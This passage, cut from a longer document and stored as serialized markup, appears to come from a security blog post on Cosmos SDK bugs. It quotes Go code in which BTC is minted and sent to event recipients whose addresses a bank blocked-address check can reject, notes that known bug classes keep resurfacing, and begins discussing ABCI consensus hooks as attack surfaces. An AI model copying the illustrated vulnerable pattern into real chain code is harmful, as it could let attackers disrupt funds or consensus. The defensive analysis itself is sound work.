%w\"",{"type":24,"tag":83,"props":81676,"children":81677},{"style":107},[81678],{"type":29,"value":568},{"type":24,"tag":83,"props":81680,"children":81681},{"style":137},[81682],{"type":29,"value":48138},{"type":24,"tag":83,"props":81684,"children":81685},{"style":107},[81686],{"type":29,"value":2905},{"type":24,"tag":83,"props":81688,"children":81689},{"class":85,"line":324},[81690],{"type":24,"tag":83,"props":81691,"children":81692},{"style":107},[81693],{"type":29,"value":3092},{"type":24,"tag":83,"props":81695,"children":81696},{"class":85,"line":345},[81697],{"type":24,"tag":83,"props":81698,"children":81699},{"style":143},[81700],{"type":29,"value":81556},{"type":24,"tag":83,"props":81702,"children":81703},{"class":85,"line":358},[81704],{"type":24,"tag":83,"props":81705,"children":81706},{"style":107},[81707],{"type":29,"value":446},{"type":24,"tag":83,"props":81709,"children":81710},{"class":85,"line":367},[81711],{"type":24,"tag":83,"props":81712,"children":81713},{"style":107},[81714],{"type":29,"value":464},{"type":24,"tag":83,"props":81716,"children":81717},{"class":85,"line":406},[81718],{"type":24,"tag":83,"props":81719,"children":81720},{"emptyLinePlaceholder":16},[81721],{"type":29,"value":3422},{"type":24,"tag":83,"props":81723,"children":81724},{"class":85,"line":427},[81725,81729,81733,81737,81741,81745,81749],{"type":24,"tag":83,"props":81726,"children":81727},{"style":90},[81728],{"type":29,"value":76015},{"type":24,"tag":83,"props":81730,"children":81731},{"style":107},[81732],{"type":29,"value":223},{"type":24,"tag":83,"props":81734,"children":81735},{"style":137},[81736],{"type":29,"value":80842},{"type":24,"tag":83,"props":81738,"children":81739},{"style":3163},[81740],{"type":29,"value":79659},{"type":24,"tag":83,"props":81742,"children":81743},{"style":107},[81744],{"type":29,"value":633},{"type":24,"tag":83,"props":81746,"children":81747},{"style":101},[81748],{"type":29,"value":81591},{"type":24,"tag":83,"props":81750,"children":81751},{"style":107},[81752],{"type":29,"value":3208},{"type":24,"tag":83,"props":81754,"children":81755},{"class":85,"line":440},[81756,81760,81764,81768,81772],{"type":24,"tag":83,"props":81757,"children":81758},{"style":137},[81759],{"type":29,"value":19964},{"type":24,"tag":83,"props":81761,"children":81762},{"style":3163},[81763],{"type":29,"value":78355},{"type":24,"tag":83,"props":81765,"children":81766},{"style":107},[81767],{"type":29,"value":161},{"type":24,"tag":83,"props":81769,"children":81770},{"style":3163},[81771],{"type":29,"value":76064},{"type":24,"tag":83,"props":81773,"children":81774},{"style":107},[81775],{"type":29,"value":989},{"type":24,"tag":83,"props":81777,"children":81778},{"class":85,"line":449},[81779,81784,81788,81792,81797],{"type":24,"tag":83,"props":81780,"children":81781},{"style":137},[81782],{"type":29,"value":81783},"    events",{"type":24,"tag":83,"props":81785,"children":81786},{"style":3163},[81787],{"type":29,"value":77890},{"type":24,"tag":83,"props":81789,"children":81790},{"style":107},[81791],{"type":29,"value":161},{"type":24,"tag":83,"props":81793,"children":81794},{"style":3163},[81795],{"type":29,"value":81796},"AssetsLockedEvents",{"type":24,"tag":83,"props":81798,"children":81799},{"style":107},[81800],{"type":29,"value":989},{"type":24,"tag":83,"props":81802,"children":81803},{"class":85,"line":458},[81804,81808,81812],{"type":24,"tag":83,"props":81805,"children":81806},{"style":107},[81807],{"type":29,"value":633},{"type":24,"tag":83,"props":81809,"children":81810},{"style":3163},[81811],{"type":29,"value":14606},{"type":24,"tag":83,"props":81813,"children":81814},{"style":107},[81815],{"type":29,"value":125},{"type":24,"tag":83,"props":81817,"children":81818},{"class":85,"line":1065},[81819],{"type":24,"tag":83,"props":81820,"children":81821},{"style":143},[81822],{"type":29,"value":20080},{"type":24,"tag":83,"props":81824,"children":81825},{"class":85,"line":1668},[81826,81830,81834,81838,81843,81847,81851,81856],{"type":24,"tag":83,"props":81827,"children":81828},{"style":117},[81829],{"type":29,"value":2777},{"type":24,"tag":83,"props":81831,"children":81832},{"style":137},[81833],{"type":29,"value":2782},{"type":24,"tag":83,"props":81835,"children":81836},{"style":107},[81837],{"type":29,"value":568},{"type":24,"tag":83,"props":81839,"children":81840},{"style":137},[81841],{"type":29,"value":81842},"event",{"type":24,"tag":83,"props":81844,"children":81845},{"style":143},[81846],{"type":29,"value":76131},{"type":24,"tag":83,"props":81848,"children":81849},{"style":117},[81850],{"type":29,"value":77114},{"type":24,"tag":83,"props":81852,"children":81853},{"style":137},[81854],{"type":29,"value":81855}," events",{"type":24,"tag":83,"props":81857,"children":81858},{"style":107},[81859],{"type":29,"value":125},{"type":24,"tag":83,"props":81861,"children":81862},{"class":85,"line":1713},[81863,81868,81872,81876,81880,81884,81888,81893,81897,81901,81905,81910],{"type":24,"tag":83,"props":81864,"children":81865},{"style":137},[81866],{"type":29,"value":81867},"        recipient",{"type":24,"tag":83,"props":81869,"children":81870},{"style":107},[81871],{"type":29,"value":568},{"type":24,"tag":83,"props":81873,"children":81874},{"style":137},[81875],{"type":29,"value":48138},{"type":24,"tag":83,"props":81877,"children":81878},{"style":143},[81879],{"type":29,"value":76131},{"type":24,"tag":83,"props":81881,"children":81882},{"style":137},[81883],{"type":29,"value":78355},{"type":24,"tag":83,"props":81885,"children":81886},{"style":107},[81887],{"type":29,"value":161},{"type":24,"tag":83,"props":81889,"children":81890},{"style":101},[81891],{"type":29,"value":81892},"AccAddressFromBech32",{"type":24,"tag":83,"props":81894,"children":81895},{"style":107},[81896],{"type":29,"value":558},{"type":24,"tag":83,"props":81898,"children":81899},{"style":137},[81900],{"type":29,"value":81842},{"type":24,"tag":83,"props":81902,"children":81903},{"style":107},[81904],{"type":29,"value":161},{"type":24,"tag":83,"props":81906,"children":81907},{"style":137},[81908],{"type":29,"value":81909},"Recipient",{"type":24,"tag":83,"props":81911,"children":81912},{"style":107},[81913],{"type":29,"value":2905},{"type":24,"tag":83,"props":81915,"children":81916},{"class":85,"line":1730},[81917,81921,81925,81929,81933],{"type":24,"tag":83,"props":81918,"children":81919},{"style":117},[81920],{"type":29,"value":3018},{"type":24,"tag":83,"props":81922,"children":81923},{"style":137},[81924],{"type":29,"value":48239},{"type":24,"tag":83,"props":81926,"children":81927},{"style":143},[81928],{"type":29,"value":290},{"type":24,"tag":83,"props":81930,"children":81931},{"style":90},[81932],{"type":29,"value":81632},{"type":24,"tag":83,"props":81934,"children":81935},{"style":107},[81936],{"type":29,"value":125},{"type":24,"tag":83,"props":81938,"children":81939},{"class":85,"line":1770},[81940,81944,81949,81953,81957,81961,81966,81970,81974],{"type":24,"tag":83,"props":81941,"children":81942},{"style":117},[81943],{"type":29,"value":78790},{"type":24,"tag":83,"props":81945,"children":81946},{"style":137},[81947],{"type":29,"value":81948}," fmt",{"type":24,"tag":83,"props":81950,"children":81951},{"style":107},[81952],{"type":29,"value":161},{"type":24,"tag":83,"props":81954,"children":81955},{"style":101},[81956],{"type":29,"value":81665},{"type":24,"tag":83,"props":81958,"children":81959},{"style":107},[81960],{"type":29,"value":558},{"type":24,"tag":83,"props":81962,"children":81963},{"style":187},[81964],{"type":29,"value":81965},"\"failed to parse recipient address: %w\"",{"type":24,"tag":83,"props":81967,"children":81968},{"style":107},[81969],{"type":29,"value":568},{"type":24,"tag":83,"props":81971,"children":81972},{"style":137},[81973],{"type":29,"value":48138},{"type":24,"tag":83,"props":81975,"children":81976},{"style":107},[81977],{"type":29,"value":2905},{"type":24,"tag":83,"props":81979,"children":81980},{"class":85,"line":1778},[81981],{"type":24,"tag":83,"props":81982,"children":81983},{"style":107},[81984],{"type":29,"value":3092},{"type":24,"tag":83,"props":81986,"children":81987},{"class":85,"line":1803},[81988],{"type":24,"tag":83,"props":81989,"children":81990},{"emptyLinePlaceholder":16},[81991],{"type":29,"value":3422},{"type":24,"tag":83,"props":81993,"children":81994},{"class":85,"line":1811},[81995,81999,82004,82008,82013,82017,82021,82025,82030,82034,82039],{"type":24,"tag":83,"props":81996,"children":81997},{"style":117},[81998],{"type":29,"value":3018},{"type":24,"tag":83,"props":82000,"children":82001},{"style":137},[82002],{"type":29,"value":82003}," bytes",{"type":24,"tag":83,"props":82005,"children":82006},{"style":107},[82007],{"type":29,"value":161},{"type":24,"tag":83,"props":82009,"children":82010},{"style":101},[82011],{"type":29,"value":82012},"Equal",{"type":24,"tag":83,"props":82014,"children":82015},{"style":107},[82016],{"type":29,"value":558},{"type":24,"tag":83,"props":82018,"children":82019},{"style":137},[82020],{"type":29,"value":81842},{"type":24,"tag":83,"props":82022,"children":82023},{"style":107},[82024],{"type":29,"value":161},{"type":24,"tag":83,"props":82026,"children":82027},{"style":101},[82028],{"type":29,"value":82029},"TokenBytes",{"type":24,"tag":83,"props":82031,"children":82032},{"style":107},[82033],{"type":29,"value":18112},{"type":24,"tag":83,"props":82035,"children":82036},{"style":137},[82037],{"type":29,"value":82038},"sourceBTCToken",{"type":24,"tag":83,"props":82040,"children":82041},{"style":107},[82042],{"type":29,"value":253},{"type":24,"tag":83,"props":82044,"children":82045},{"class":85,"line":8792},[82046,82051,82055,82059,82063,82068,82072,82076,82080,82084,82088,82092,82096,82100],{"type":24,"tag":83,"props":82047,"children":82048},{"style":137},[82049],{"type":29,"value":82050},"            err",{"type":24,"tag":83,"props":82052,"children":82053},{"style":143},[82054],{"type":29,"value":146},{"type":24,"tag":83,"props":82056,"children":82057},{"style":137},[82058],{"type":29,"value":80970},{"type":24,"tag":83,"props":82060,"children":82061},{"style":107},[82062],{"type":29,"value":161},{"type":24,"tag":83,"props":82064,"children":82065},{"style":101},[82066],{"type":29,"value":82067},"mintBTC",{"type":24,"tag":83,"props":82069,"children":82070},{"style":107},[82071],{"type":29,"value":558},{"type":24,"tag":83,"props":82073,"children":82074},{"style":137},[82075],{"type":29,"value":20021},{"type":24,"tag":83,"props":82077,"children":82078},{"style":107},[82079],{"type":29,"value":568},{"type":24,"tag":83,"props":82081,"children":82082},{"style":137},[82083],{"type":29,"value":81365},{"type":24,"tag":83,"props":82085,"children":82086},{"style":107},[82087],{"type":29,"value":568},{"type":24,"tag":83,"props":82089,"children":82090},{"style":137},[82091],{"type":29,"value":81842},{"type":24,"tag":83,"props":82093,"children":82094},{"style":107},[82095],{"type":29,"value":161},{"type":24,"tag":83,"props":82097,"children":82098},{"style":137},[82099],{"type":29,"value":78769},{"type":24,"tag":83,"props":82101,"children":82102},{"style":107},[82103],{"type":29,"value":2905},{"type":24,"tag":83,"props":82105,"children":82106},{"class":85,"line":8810},[82107,82111,82115,82119,82123],{"type":24,"tag":83,"props":82108,"children":82109},{"style":117},[82110],{"type":29,"value":58515},{"type":24,"tag":83,"props":82112,"children":82113},{"style":137},[82114],{"type":29,"value":48239},{"type":24,"tag":83,"props":82116,"children":82117},{"style":143},[82118],{"type":29,"value":290},{"type":24,"tag":83,"props":82120,"children":82121},{"style":90},[82122],{"type":29,"value":81632},{"type":24,"tag":83,"props":82124,"children":82125},{"style":107},[82126],{"type":29,"value":125},{"type":24,"tag":83,"props":82128,"children":82129},{"class":85,"line":8855},[82130,82134,82138,82142,82146],{"type":24,"tag":83,"props":82131,"children":82132},{"style":117},[82133],{"type":29,"value":60443},{"type":24,"tag":83,"props":82135,"children":82136},{"style":137},[82137],{"type":29,"value":81948},{"type":24,"tag":83,"props":82139,"children":82140},{"style":107},[82141],{"type":29,"value":161},{"type":24,"tag":83,"props":82143,"children":82144},{"style":101},[82145],{"type":29,"value":81665},{"type":24,"tag":83,"props":82147,"children":82148},{"style":107},[82149],{"type":29,"value":3208},{"type":24,"tag":83,"props":82151,"children":82152},{"class":85,"line":8961},[82153,82158],{"type":24,"tag":83,"props":82154,"children":82155},{"style":187},[82156],{"type":29,"value":82157},"                    \"failed to mint BTC for event %v: %w\"",{"type":24,"tag":83,"props":82159,"children":82160},{"style":107},[82161],{"type":29,"value":989},{"type":24,"tag":83,"props":82163,"children":82164},{"class":85,"line":23248},[82165,82170,82174,82179],{"type":24,"tag":83,"props":82166,"children":82167},{"style":137},[82168],{"type":29,"value":82169},"                    event",{"type":24,"tag":83,"props":82171,"children":82172},{"style":107},[82173],{"type":29,"value":161},{"type":24,"tag":83,"props":82175,"children":82176},{"style":137},[82177],{"type":29,"value":82178},"Sequence",{"type":24,"tag":83,"props":82180,"children":82181},{"style":107},[82182],{"type":29,"value":989},{"type":24,"tag":83,"props":82184,"children":82185},{"class":85,"line":23283},[82186,82191],{"type":24,"tag":83,"props":82187,"children":82188},{"style":137},[82189],{"type":29,"value":82190},"                    err",{"type":24,"tag":83,"props":82192,"children":82193},{"style":107},[82194],{"type":29,"value":989},{"type":24,"tag":83,"props":82196,"children":82197},{"class":85,"line":23291},[82198],{"type":24,"tag":83,"props":82199,"children":82200},{"style":107},[82201],{"type":29,"value":82202},"                )\n",{"type":24,"tag":83,"props":82204,"children":82205},{"class":85,"line":23299},[82206],{"type":24,"tag":83,"props":82207,"children":82208},{"style":107},[82209],{"type":29,"value":58599},{"type":24,"tag":83,"props":82211,"children":82212},{"class":85,"line":23308},[82213,82217,82221],{"type":24,"tag":83,"props":82214,"children":82215},{"style":107},[82216],{"type":29,"value":3056},{"type":24,"tag":83,"props":82218,"children":82219},{"style":117},[82220],{"type":29,"value":378},{"type":24,"tag":83,"props":82222,"children":82223},{"style":107},[82224],{"type":29,"value":125},{"type":24,"tag":83,"props":82226,"children":82227},{"class":85,"line":23350},[82228],{"type":24,"tag":83,"props":82229,"children":82230},{"style":143},[82231],{"type":29,"value":82232},"            ...\n",{"type":24,"tag":83,"props":82234,"children":82235},{"class":85,"line":23383},[82236],{"type":24,"tag":83,"props":82237,"children":82238},{"style":107},[82239],{"type":29,"value":3092},{"type":24,"tag":83,"props":82241,"children":82242},{"class":85,"line":23391},[82243],{"type":24,"tag":83,"props":82244,"children":82245},{"style":107},[82246],{"type":29,"value":446},{"type":24,"tag":83,"props":82248,"children":82249},{"class":85,"line":23399},[82250],{"type":24,"tag":83,"props":82251,"children":82252},{"style":143},[82253],{"type":29,"value":20080},{"type":24,"tag":83,"props":82255,"children":82256},{"class":85,"line":23408},[82257],{"type":24,"tag":83,"props":82258,"children":82259},{"style":107},[82260],{"type":29,"value":464},{"type":24,"tag":83,"props":82262,"children":82263},{"class":85,"line":23484},[82264],{"type":24,"tag":83,"props":82265,"children":82266},{"emptyLinePlaceholder":16},[82267],{"type":29,"value":3422},{"type":24,"tag":83,"props":82269,"children":82270},{"class":85,"line":23517},[82271,82275,82279,82283,82287,82291,82295],{"type":24,"tag":83,"props":82272,"children":82273},{"style":90},[82274],{"type":29,"value":76015},{"type":24,"tag":83,"props":82276,"children":82277},{"style":107},[82278],{"type":29,"value":223},{"type":24,"tag":83,"props":82280,"children":82281},{"style":137},[82282],{"type":29,"value":80842},{"type":24,"tag":83,"props":82284,"children":82285},{"style":3163},[82286],{"type":29,"value":79659},{"type":24,"tag":83,"props":82288,"children":82289},{"style":107},[82290],{"type":29,"value":633},{"type":24,"tag":83,"props":82292,"children":82293},{"style":101},[82294],{"type":29,"value":82067},{"type":24,"tag":83,"props":82296,"children":82297},{"style":107},[82298],{"type":29,"value":3208},{"type":24,"tag":83,"props":82300,"children":82301},{"class":85,"line":23525},[82302,82306,82310,82314,82318],{"type":24,"tag":83,"props":82303,"children":82304},{"style":137},[82305],{"type":29,"value":19964},{"type":24,"tag":83,"props":82307,"children":82308},{"style":3163},[82309],{"type":29,"value":78355},{"type":24,"tag":83,"props":82311,"children":82312},{"style":107},[82313],{"type":29,"value":161},{"type":24,"tag":83,"props":82315,"children":82316},{"style":3163},[82317],{"type":29,"value":76064},{"type":24,"tag":83,"props":82319,"children":82320},{"style":107},[82321],{"type":29,"value":989},{"type":24,"tag":83,"props":82323,"children":82324},{"class":85,"line":23533},[82325,82330,82334,82338,82343],{"type":24,"tag":83,"props":82326,"children":82327},{"style":137},[82328],{"type":29,"value":82329},"    recipient",{"type":24,"tag":83,"props":82331,"children":82332},{"style":3163},[82333],{"type":29,"value":78355},{"type":24,"tag":83,"props":82335,"children":82336},{"style":107},[82337],{"type":29,"value":161},{"type":24,"tag":83,"props":82339,"children":82340},{"style":3163},[82341],{"type":29,"value":82342},"AccAddress",{"type":24,"tag":83,"props":82344,"children":82345},{"style":107},[82346],{"type":29,"value":989},{"type":24,"tag":83,"props":82348,"children":82349},{"class":85,"line":23570},[82350,82354,82359,82363,82368],{"type":24,"tag":83,"props":82351,"children":82352},{"style":137},[82353],{"type":29,"value":61297},{"type":24,"tag":83,"props":82355,"children":82356},{"style":3163},[82357],{"type":29,"value":82358}," math",{"type":24,"tag":83,"props":82360,"children":82361},{"style":107},[82362],{"type":29,"value":161},{"type":24,"tag":83,"props":82364,"children":82365},{"style":3163},[82366],{"type":29,"value":82367},"Int",{"type":24,"tag":83,"props":82369,"children":82370},{"style":107},[82371],{"type":29,"value":989},{"type":24,"tag":83,"props":82373,"children":82374},{"class":85,"line":23583},[82375,82379,82383],{"type":24,"tag":83,"props":82376,"children":82377},{"style":107},[82378],{"type":29,"value":633},{"type":24,"tag":83,"props":82380,"children":82381},{"style":3163},[82382],{"type":29,"value":14606},{"type":24,"tag":83,"props":82384,"children":82385},{"style":107},[82386],{"type":29,"value":125},{"type":24,"tag":83,"props":82388,"children":82389},{"class":85,"line":23596},[82390],{"type":24,"tag":83,"props":82391,"children":82392},{"style":143},[82393],{"type":29,"value":20080},{"type":24,"tag":83,"props":82395,"children":82396},{"class":85,"line":23609},[82397,82402,82406,82410,82414,82419,82423,82427],{"type":24,"tag":83,"props":82398,"children":82399},{"style":137},[82400],{"type":29,"value":82401},"    err",{"type":24,"tag":83,"props":82403,"children":82404},{"style":143},[82405],{"type":29,"value":146},{"type":24,"tag":83,"props":82407,"children":82408},{"style":137},[82409],{"type":29,"value":80970},{"type":24,"tag":83,"props":82411,"children":82412},{"style":107},[82413],{"type":29,"value":161},{"type":24,"tag":83,"props":82415,"children":82416},{"style":137},[82417],{"type":29,"value":82418},"bankKeeper",{"type":24,"tag":83,"props":82420,"children":82421},{"style":107},[82422],{"type":29,"value":161},{"type":24,"tag":83,"props":82424,"children":82425},{"style":101},[82426],{"type":29,"value":81357},{"type":24,"tag":83,"props":82428,"children":82429},{"style":107},[82430],{"type":29,"value":3208},{"type":24,"tag":83,"props":82432,"children":82433},{"class":85,"line":23663},[82434,82438],{"type":24,"tag":83,"props":82435,"children":82436},{"style":137},[82437],{"type":29,"value":25935},{"type":24,"tag":83,"props":82439,"children":82440},{"style":107},[82441],{"type":29,"value":989},{"type":24,"tag":83,"props":82443,"children":82444},{"class":85,"line":23672},[82445,82450,82454,82459],{"type":24,"tag":83,"props":82446,"children":82447},{"style":137},[82448],{"type":29,"value":82449},"        types",{"type":24,"tag":83,"props":82451,"children":82452},{"style":107},[82453],{"type":29,"value":161},{"type":24,"tag":83,"props":82455,"children":82456},{"style":137},[82457],{"type":29,"value":82458},"ModuleName",{"type":24,"tag":83,"props":82460,"children":82461},{"style":107},[82462],{"type":29,"value":989},{"type":24,"tag":83,"props":82464,"children":82465},{"class":85,"line":32019},[82466,82470],{"type":24,"tag":83,"props":82467,"children":82468},{"style":137},[82469],{"type":29,"value":81867},{"type":24,"tag":83,"props":82471,"children":82472},{"style":107},[82473],{"type":29,"value":989},{"type":24,"tag":83,"props":82475,"children":82476},{"class":85,"line":32040},[82477,82482],{"type":24,"tag":83,"props":82478,"children":82479},{"style":137},[82480],{"type":29,"value":82481},"        coins",{"type":24,"tag":83,"props":82483,"children":82484},{"style":107},[82485],{"type":29,"value":989},{"type":24,"tag":83,"props":82487,"children":82488},{"class":85,"line":80665},[82489],{"type":24,"tag":83,"props":82490,"children":82491},{"style":107},[82492],{"type":29,"value":23669},{"type":24,"tag":83,"props":82494,"children":82495},{"class":85,"line":80678},[82496,82500,82504,82508,82512],{"type":24,"tag":83,"props":82497,"children":82498},{"style":117},[82499],{"type":29,"value":218},{"type":24,"tag":83,"props":82501,"children":82502},{"style":137},[82503],{"type":29,"value":48239},{"type":24,"tag":83,"props":82505,"children":82506},{"style":143},[82507],{"type":29,"value":290},{"type":24,"tag":83,"props":82509,"children":82510},{"style":90},[82511],{"type":29,"value":81632},{"type":24,"tag":83,"props":82513,"children":82514},{"style":107},[82515],{"type":29,"value":125},{"type":24,"tag":83,"props":82517,"children":82518},{"class":85,"line":80686},[82519,82523,82527,82531,82535,82539,82544,82548,82552],{"type":24,"tag":83,"props":82520,"children":82521},{"style":117},[82522],{"type":29,"value":15482},{"type":24,"tag":83,"props":82524,"children":82525},{"style":137},[82526],{"type":29,"value":81948},{"type":24,"tag":83,"props":82528,"children":82529},{"style":107},[82530],{"type":29,"value":161},{"type":24,"tag":83,"props":82532,"children":82533},{"style":101},[82534],{"type":29,"value":81665},{"type":24,"tag":83,"props":82536,"children":82537},{"style":107},[82538],{"type":29,"value":558},{"type":24,"tag":83,"props":82540,"children":82541},{"style":187},[82542],{"type":29,"value":82543},"\"failed to send coins: %w\"",{"type":24,"tag":83,"props":82545,"children":82546},{"style":107},[82547],{"type":29,"value":568},{"type":24,"tag":83,"props":82549,"children":82550},{"style":137},[82551],{"type":29,"value":48138},{"type":24,"tag":83,"props":82553,"children":82554},{"style":107},[82555],{"type":29,"value":2905},{"type":24,"tag":83,"props":82557,"children":82558},{"class":85,"line":80694},[82559],{"type":24,"tag":83,"props":82560,"children":82561},{"style":107},[82562],{"type":29,"value":446},{"type":24,"tag":83,"props":82564,"children":82565},{"class":85,"line":80702},[82566],{"type":24,"tag":83,"props":82567,"children":82568},{"style":143},[82569],{"type":29,"value":20080},{"type":24,"tag":83,"props":82571,"children":82572},{"class":85,"line":80742},[82573],{"type":24,"tag":83,"props":82574,"children":82575},{"style":107},[82576],{"type":29,"value":464},{"type":24,"tag":73,"props":82578,"children":82580},{"code":82579,"language":75879,"meta":7,"className":75880,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[82581],{"type":24,"tag":32,"props":82582,"children":82583},{"__ignoreMap":7},[82584,82616,82695,82710,82718,82749,82807,82814,82821],{"type":24,"tag":83,"props":82585,"children":82586},{"class":85,"line":86},[82587,82591,82595,82599,82604,82608,82612],{"type":24,"tag":83,"props":82588,"children":82589},{"style":90},[82590],{"type":29,"value":76015},{"type":24,"tag":83,"props":82592,"children":82593},{"style":107},[82594],{"type":29,"value":223},{"type":24,"tag":83,"props":82596,"children":82597},{"style":137},[82598],{"type":29,"value":80842},{"type":24,"tag":83,"props":82600,"children":82601},{"style":3163},[82602],{"type":29,"value":82603},"BaseKeeper",{"type":24,"tag":83,"props":82605,"children":82606},{"style":107},[82607],{"type":29,"value":633},{"type":24,"tag":83,"props":82609,"children":82610},{"style":101},[82611],{"type":29,"value":81357},{"type":24,"tag":83,"props":82613,"children":82614},{"style":107},[82615],{"type":29,"value":3208},{"type":24,"tag":83,"props":82617,"children":82618},{"class":85,"line":113},[82619,82623,82627,82631,82635,82639,82644,82648,82652,82657,82661,82665,82669,82673,82678,82682,82686,82691],{"type":24,"tag":83,"props":82620,"children":82621},{"style":137},[82622],{"type":29,"value":25592},{"type":24,"tag":83,"props":82624,"children":82625},{"style":3163},[82626],{"type":29,"value":76055},{"type":24,"tag":83,"props":82628,"children":82629},{"style":107},[82630],{"type":29,"value":161},{"type":24,"tag":83,"props":82632,"children":82633},{"style":3163},[82634],{"type":29,"value":76064},{"type":24,"tag":83,"props":82636,"children":82637},{"style":107},[82638],{"type":29,"value":568},{"type":24,"tag":83,"props":82640,"children":82641},{"style":137},[82642],{"type":29,"value":82643},"senderModule",{"type":24,"tag":83,"props":82645,"children":82646},{"style":3163},[82647],{"type":29,"value":35763},{"type":24,"tag":83,"props":82649,"children":82650},{"style":107},[82651],{"type":29,"value":568},{"type":24,"tag":83,"props":82653,"children":82654},{"style":137},[82655],{"type":29,"value":82656},"recipientAddr",{"type":24,"tag":83,"props":82658,"children":82659},{"style":3163},[82660],{"type":29,"value":78355},{"type":24,"tag":83,"props":82662,"children":82663},{"style":107},[82664],{"type":29,"value":161},{"type":24,"tag":83,"props":82666,"children":82667},{"style":3163},[82668],{"type":29,"value":82342},{"type":24,"tag":83,"props":82670,"children":82671},{"style":107},[82672],{"type":29,"value":568},{"type":24,"tag":83,"props":82674,"children":82675},{"style":137},[82676],{"type":29,"value":82677},"amt",{"type":24,"tag":83,"props":82679,"children":82680},{"style":3163},[82681],{"type":29,"value":78355},{"type":24,"tag":83,"props":82683,"children":82684},{"style":107},[82685],{"type":29,"value":161},{"type":24,"tag":83,"props":82687,"children":82688},{"style":3163},[82689],{"type":29,"value":82690},"Coins",{"type":24,"tag":83,"props":82692,"children":82693},{"style":107},[82694],{"type":29,"value":989},{"type":24,"tag":83,"props":82696,"children":82697},{"class":85,"line":128},[82698,82702,82706],{"type":24,"tag":83,"props":82699,"children":82700},{"style":107},[82701],{"type":29,"value":633},{"type":24,"tag":83,"props":82703,"children":82704},{"style":3163},[82705],{"type":29,"value":14606},{"type":24,"tag":83,"props":82707,"children":82708},{"style":107},[82709],{"type":29,"value":125},{"type":24,"tag":83,"props":82711,"children":82712},{"class":85,"line":183},[82713],{"type":24,"tag":83,"props":82714,"children":82715},{"style":143},[82716],{"type":29,"value":82717}," ...\n",{"type":24,"tag":83,"props":82719,"children":82720},{"class":85,"line":203},[82721,82725,82729,82733,82737,82741,82745],{"type":24,"tag":83,"props":82722,"children":82723},{"style":117},[82724],{"type":29,"value":383},{"type":24,"tag":83,"props":82726,"children":82727},{"style":137},[82728],{"type":29,"value":80970},{"type":24,"tag":83,"props":82730,"children":82731},{"style":107},[82732],{"type":29,"value":161},{"type":24,"tag":83,"props":82734,"children":82735},{"style":101},[82736],{"type":29,"value":81373},{"type":24,"tag":83,"props":82738,"children":82739},{"style":107},[82740],{"type":29,"value":558},{"type":24,"tag":83,"props":82742,"children":82743},{"style":137},[82744],{"type":29,"value":82656},{"type":24,"tag":83,"props":82746,"children":82747},{"style":107},[82748],{"type":29,"value":253},{"type":24,"tag":83,"props":82750,"children":82751},{"class":85,"line":212},[82752,82756,82761,82765,82769,82773,82777,82781,82786,82790,82795,82799,82803],{"type":24,"tag":83,"props":82753,"children":82754},{"style":117},[82755],{"type":29,"value":1054},{"type":24,"tag":83,"props":82757,"children":82758},{"style":137},[82759],{"type":29,"value":82760}," errorsmod",{"type":24,"tag":83,"props":82762,"children":82763},{"style":107},[82764],{"type":29,"value":161},{"type":24,"tag":83,"props":82766,"children":82767},{"style":101},[82768],{"type":29,"value":80624},{"type":24,"tag":83,"props":82770,"children":82771},{"style":107},[82772],{"type":29,"value":558},{"type":24,"tag":83,"props":82774,"children":82775},{"style":137},[82776],{"type":29,"value":80286},{"type":24,"tag":83,"props":82778,"children":82779},{"style":107},[82780],{"type":29,"value":161},{"type":24,"tag":83,"props":82782,"children":82783},{"style":137},[82784],{"type":29,"value":82785},"ErrUnauthorized",{"type":24,"tag":83,"props":82787,"children":82788},{"style":107},[82789],{"type":29,"value":568},{"type":24,"tag":83,"props":82791,"children":82792},{"style":187},[82793],{"type":29,"value":82794},"\"%s is not allowed to receive funds\"",{"type":24,"tag":83,"props":82796,"children":82797},{"style":107},[82798],{"type":29,"value":568},{"type":24,"tag":83,"props":82800,"children":82801},{"style":137},[82802],{"type":29,"value":82656},{"type":24,"tag":83,"props":82804,"children":82805},{"style":107},[82806],{"type":29,"value":2905},{"type":24,"tag":83,"props":82808,"children":82809},{"class":85,"line":256},[82810],{"type":24,"tag":83,"props":82811,"children":82812},{"style":107},[82813],{"type":29,"value":9342},{"type":24,"tag":83,"props":82815,"children":82816},{"class":85,"line":270},[82817],{"type":24,"tag":83,"props":82818,"children":82819},{"style":143},[82820],{"type":29,"value":82717},{"type":24,"tag":83,"props":82822,"children":82823},{"class":85,"line":302},[82824],{"type":24,"tag":83,"props":82825,"children":82826},{"style":107},[82827],{"type":29,"value":464},{"type":24,"tag":25,"props":82829,"children":82830},{},[82831,82833,82840],{"type":29,"value":82832},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":24,"tag":2033,"props":82834,"children":82837},{"href":82835,"rel":82836},"https://hackerone.com/reports/3018307",[2037],[82838],{"type":29,"value":82839},"improper decimal handling in the group module",{"type":29,"value":161},{"type":24,"tag":51,"props":82842,"children":82844},{"id":82843},"same-same-but-different",[82845],{"type":29,"value":82846},"Same, Same... But Different",{"type":24,"tag":25,"props":82848,"children":82849},{},[82850,82852,82858,82859,82865,82866,82872,82873,82879],{"type":29,"value":82851},"Cosmos exposes several consensus-level interfaces, such as ",{"type":24,"tag":32,"props":82853,"children":82855},{"className":82854},[],[82856],{"type":29,"value":82857},"PrepareProposal",{"type":29,"value":568},{"type":24,"tag":32,"props":82860,"children":82862},{"className":82861},[],[82863],{"type":29,"value":82864},"ProcessProposal",{"type":29,"value":568},{"type":24,"tag":32,"props":82867,"children":82869},{"className":82868},[],[82870],{"type":29,"value":82871},"ExtendVote",{"type":29,"value":6234},{"type":24,"tag":32,"props":82874,"children":82876},{"className":82875},[],[82877],{"type":29,"value":82878},"VerifyVoteExtension",{"type":29,"value":82880},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":24,"tag":25,"props":82882,"children":82883},{},[82884],{"type":29,"value":82885},"Two of the best-known attack surfaces 